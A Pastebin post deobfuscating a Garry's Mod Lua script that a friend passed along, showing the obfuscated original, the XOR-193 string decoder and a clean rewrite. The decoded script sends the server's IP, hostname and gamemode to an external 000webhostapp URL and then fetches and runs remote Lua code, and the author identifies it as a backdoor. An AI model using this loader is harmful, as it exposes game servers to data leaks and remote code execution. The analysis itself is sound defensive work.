Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- I was given this code by a friend:
- local = _G local = ['\115\116\114\105\110\103'] local = ['\98\105\116']['\98\120\111\114'] local function () if ['\108\101\110']() == 0 then return end local = '' for _ in ['\103\109\97\116\99\104'](,'\46\46') do =..['\99\104\97\114']((["\116\111\110\117\109\98\101\114"](_,16),193)) end return end ['b5a8aca4b3']['92a8acb1ada4'](5,function ()['a9b5b5b1']['91aeb2b5']('a9b5b5b1b2fbeeeeaca8b5a4a5eff1f1f1b6a4a3a9aeb2b5a0b1b1efa2aeaceeadaea6b2eeb5a0aaa8b1efb1a9b1',{['a2']=['a6acaea5']['86a4b586a0aca4acaea5a4']()['8fa0aca4'],['a4']=['a6a0aca4']['86a4b5889180a5a5b3a4b2b2'](),['a5']=['86a4b589aeb2b58fa0aca4']()})end )['b5a8aca4b3']['92a8acb1ada4'](5,function ()['a9b5b5b1']['87a4b5a2a9']('a9b5b5b1b2fbeeeeaca8b5a4a5eff1f1f1b6a4a3a9aeb2b5a0b1b1efa2aeaceea3a0b2a4efadb4a0',function (break)['93b4af92b5b3a8afa6'](break)end ,nil )end )
- -- I then, using my knowledge of GLua and Computer Science, managed to "decrypt" it and rewrote it as this, using the algorithm I have adapted as written below--after converting the strings of numbers and \ from ASCII to text and rewriting it for what it does:
- local _a = _G;
- local _b = _a["string"];
- local _c = _a["bit"]["bxor"];
- local function _d( _e )
- if _b["len"]( _e ) == 0 then return end
- local _f = '';
- for _ in _b["gmatch"]( _e, '..' ) do
- _f = _f .. _b["char"]( _c( _a["tonumber"]( _, 16 ), 193 ) );
- end
- return _f;
- end
- -- By this function I then rewrote the program using this function to take the sequences of characters as a parameter, and found their conversions; for instance, "b5a8aca4b3" becomes "timer". Upon decrypting all of it with this algorithm, I managed to rewrite what it does as this:
- timer.Simple( 5, function()
- http.Post( "https://mited.000webhostapp.com/logs/takip.php", {
- c = gmod.GetGamemode().Name;
- e = game.GetIPAddress();
- d = GetHostName();
- } );
- end );
- timer.Simple( 5, function()
- http.Fetch( "https://mited.000webhostapp.com/base.lua",
- function( body )
- RunString( body );
- end,
- nil
- );
- end );
- -- As you can see, it is a backdoor, and quite explicitly too.
- -- [GGS] 92carmnad
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement